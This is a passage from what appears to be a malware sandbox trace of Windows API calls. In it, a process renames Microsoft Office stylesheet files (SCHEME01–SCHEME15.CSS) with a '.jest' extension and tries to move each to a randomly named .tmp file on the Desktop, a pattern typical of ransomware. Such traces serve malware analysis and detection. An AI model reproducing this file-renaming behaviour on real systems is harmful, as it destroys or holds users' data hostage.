Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css.jest")) returned 1 [0163.359] VarBstrFromR4 (in: fltIn=0x47945683, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.02") returned 0x0 [0163.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3jeImIo89l uQusQtEsvYeCu4sVXLtQ02L4iozeZiHW8QzgWxdBBB1hDBLT8idetmvdGcDTD7V5U5e5XWu3RDNQidKBo4DidqdvLY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3jeimio89l uqusqtesvyecu4svxltq02l4iozezihw8qzgwxdbbb1hdblt8idetmvdgcdtd7v5u5e5xwu3rdnqidkbo4didqdvly.tmp")) returned 0 [0163.360] GetLastError () returned 0x2 [0163.360] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css.jest")) returned 1 [0163.365] VarBstrFromR4 (in: fltIn=0x47945683, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.02") returned 0x0 [0163.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME02.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme02.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jgWkR9cIzmWod1p-Z_T7GQC7qiajofKnqN2GC18mMZ0jinRmzI5zkQqhJ2m5ORJ2p_bLZaVsAeTwSyQdloMPYE7OoR-dRS9LNw8 D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jgwkr9cizmwod1p-z_t7gqc7qiajofknqn2gc18mmz0jinrmzi5zkqqhj2m5orj2p_blzavsaetwsyqdlompye7oor-drs9lnw8 d.tmp")) returned 0 [0163.366] GetLastError () returned 0x2 [0163.367] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css.jest")) returned 1 [0163.369] VarBstrFromR4 (in: fltIn=0x47945683, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.02") returned 0x0 [0163.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ww8brnRiR109NcCM6 aER1IZVZbOhet HKjBk8SLmEsIVY2ANqzSpA2eG_5sp0cN1ZZtM 4jjc-5H0C9Ujj5ZmCwkKybQtSwAO9TY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ww8brnrir109nccm6 aer1izvzbohet hkjbk8slmesivy2anqzspa2eg_5sp0cn1zztm 4jjc-5h0c9ujj5zmcwkkybqtswao9ty.tmp")) returned 0 [0163.370] GetLastError () returned 0x2 [0163.370] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css.jest")) returned 1 [0163.372] VarBstrFromR4 (in: fltIn=0x47945683, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.02") returned 0x0 [0163.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME04.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme04.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\stqBe84du3McmtEZhgUBf60sAso tauKmyDKuiunornIR80nMdotFOUNFrQ1pGhEJ2f4iroyeWYU8UVKrl SL1q4HEVcrZaIZJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\stqbe84du3mcmtezhgubf60saso taukmydkuiunornir80nmdotfounfrq1pghej2f4iroyewyu8uvkrl sl1q4hevcrzaizj.tmp")) returned 0 [0163.373] GetLastError () returned 0x2 [0163.374] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css.jest")) returned 1 [0163.376] VarBstrFromR4 (in: fltIn=0x47945683, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.02") returned 0x0 [0163.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME05.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme05.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W4rsB5VdYDnEsEXL JZ3LJhWilvMa2shzlHZ2JbDgTviHL8VvvxxrkSg1_s1JlZzpqvRkut2qNIogDLWK9XU7Dehymfus04A rVbt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w4rsb5vdydnesexl jz3ljhwilvma2shzlhz2jbdgtvihl8vvvxxrksg1_s1jlzzpqvrkut2qniogdlwk9xu7dehymfus04a rvbt.tmp")) returned 0 [0163.377] GetLastError () returned 0x2 [0163.378] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css.jest")) returned 1 [0163.380] VarBstrFromR4 (in: fltIn=0x47945685, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.04") returned 0x0 [0163.381] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme06.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qjpLT5HqAoMEC_LVFKr1XsR0uoZYKqNb6c7rot5kUlS wuDv2edECr7L-fBIck23jC9n2b2OXN8uoDlxfXLYYKWJW-O9u QVVYwN .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qjplt5hqaomec_lvfkr1xsr0uozykqnb6c7rot5kuls wudv2edecr7l-fbick23jc9n2b2oxn8uodlxfxlyykwjw-o9u qvvywn .tmp")) returned 0 [0163.381] GetLastError () returned 0x2 [0163.381] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.382] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css.jest")) returned 1 [0163.383] VarBstrFromR4 (in: fltIn=0x47945685, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.04") returned 0x0 [0163.384] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AxTr2digVzYyuu3gedeIWM8eU-U260j0nUgPoSGHldR-k0zLMIE u3CYVLr4GiIsY8ahYfwTORAFWaZQnMDJRT3S46oxoTsAvW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\axtr2digvzyyuu3gedeiwm8eu-u260j0nugposghldr-k0zlmie u3cyvlr4giisy8ahyfwtorafwazqnmdjrt3s46oxotsavw.tmp")) returned 0 [0163.384] GetLastError () returned 0x2 [0163.385] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css.jest")) returned 1 [0163.387] VarBstrFromR4 (in: fltIn=0x47945685, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.04") returned 0x0 [0163.388] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UnoXBft4QMXLimb2S3-iYUfIRQ3rAYtkIwZUEcuToDgJIBYxOLtLE2AVYjkjfzdAnfemj5H4C9-1aVHRxJ20T8K_8_n3k0bMyrX-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\unoxbft4qmxlimb2s3-iyufirq3raytkiwzuecutodgjibyxoltle2avyjkjfzdanfemj5h4c9-1avhrxj20t8k_8_n3k0bmyrx-.tmp")) returned 0 [0163.388] GetLastError () returned 0x2 [0163.388] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.389] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css.jest")) returned 1 [0163.391] VarBstrFromR4 (in: fltIn=0x47945687, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.05") returned 0x0 [0163.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CNNTXcAC8WR4dOebR1tLypopLr445TpWdo6N q5vVo31IJiC 5cHOQYwTb2mCbO3OIUW3v_D8Tj1zOOe9LHAvI5C5Y7q0gl916Ui.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnntxcac8wr4doebr1tlypoplr445tpwdo6n q5vvo31ijic 5choqywtb2mcbo3oiuw3v_d8tj1zooe9lhavi5c5y7q0gl916ui.tmp")) returned 0 [0163.392] GetLastError () returned 0x2 [0163.392] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.392] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css.jest")) returned 1 [0163.394] VarBstrFromR4 (in: fltIn=0x47945687, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.05") returned 0x0 [0163.395] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wj3Zr1KHg3d3WOyNpwbIQCYbe ki4TxRwAqLktvNgyPLoY4 OZ4Ty6kjAiYvzK0QvXatyefsi0 RTuIJYouXPiuYdMTOMMhcW fIh.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wj3zr1khg3d3woynpwbiqcybe ki4txrwaqlktvngyploy4 oz4ty6kjaiyvzk0qvxatyefsi0 rtuijyouxpiuydmtommhcw fih.tmp")) returned 0 [0163.395] GetLastError () returned 0x2 [0163.395] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css.jest")) returned 1 [0163.397] VarBstrFromR4 (in: fltIn=0x47945687, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.05") returned 0x0 [0163.398] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UG3BRO67lmXDTJDjj JjfJc3pB_xYYBe KC5mWbO_uyEZs1q2KQlJkXp-0I3SXq9tv9mSjAyKsZYA03mHDS0MoSXHxREnyzvHxtB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ug3bro67lmxdtjdjj jjfjc3pb_xyybe kc5mwbo_uyezs1q2kqljkxp-0i3sxq9tv9msjaykszya03mhds0mosxhxrenyzvhxtb.tmp")) returned 0 [0163.398] GetLastError () returned 0x2 [0163.399] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.401] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css.jest")) returned 1 [0163.402] VarBstrFromR4 (in: fltIn=0x47945687, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.05") returned 0x0 [0163.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KOoIZEs0QWcPjYublNlE4oB0NImt7Rd36W5g_qIKXOy5FvDr8Y4WoxCI fRj42nm-UjfV99kxEms_ F27weJUSMLHbj_vjeBa8x 7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kooizes0qwcpjyublnle4ob0nimt7rd36w5g_qikxoy5fvdr8y4woxci frj42nm-ujfv99kxems_ f27wejusmlhbj_vjeba8x 7.tmp")) returned 0 [0163.404] GetLastError () returned 0x2 [0163.405] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.406] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css.jest")) returned 1 [0163.408] VarBstrFromR4 (in: fltIn=0x47945689, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.07") returned 0x0 [0163.409] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME13.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme13.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ccd4D 1K6Zd9Gk7RdFCm-M4riwZNtFMGN9vubhOn2i2 9K1NoPB5MNXZY_ydQ4Ry4rolz7RsNepNCz-FwhdsXSbRBdo8jjIqW48.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ccd4d 1k6zd9gk7rdfcm-m4riwzntfmgn9vubhon2i2 9k1nopb5mnxzy_ydq4ry4rolz7rsnepncz-fwhdsxsbrbdo8jjiqw48.tmp")) returned 0 [0163.409] GetLastError () returned 0x2 [0163.409] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css.jest")) returned 1 [0163.412] VarBstrFromR4 (in: fltIn=0x47945689, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.07") returned 0x0 [0163.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\50t4LzEO5vNIN23rfCnQTCIF4ld0Wt-QluNQ4lUzKX6hDnpczOFFS8xe6p_2d2mY9WyzQY-Gvfh2DJbJBWtgtcsqRhPoBcLZI1h l.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\50t4lzeo5vnin23rfcnqtcif4ld0wt-qlunq4luzkx6hdnpczoffs8xe6p_2d2my9wyzqy-gvfh2djbjbwtgtcsqrhpobclzi1h l.tmp")) returned 0 [0163.413] GetLastError () returned 0x2 [0163.414] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0163.414] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css.jest")) returned 1 [0163.416] VarBstrFromR4 (in: fltIn=0x47945689, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75949.07") returned 0x0 [0163.416] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME15.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme15.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OaIGZ6lL8w8eLg_b7bT1c7UktfWoHJbAsqLf64NEVEzPymZXpUpoVcFKzYnGS1xu20kAAc9FuOTXbSpGdIelVzsdA6GTnQuBnhA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oaigz6ll8w8elg_b7bt1c7uktfwohjbasqlf64nevezpymzxpupovcfkzyngs1xu20kaac9fuotxbspgdielvzsda6gtnqubnha.tmp")) returned 0 [0163.417] GetLastError () returned 0x2 [0163.417] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="祐", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, 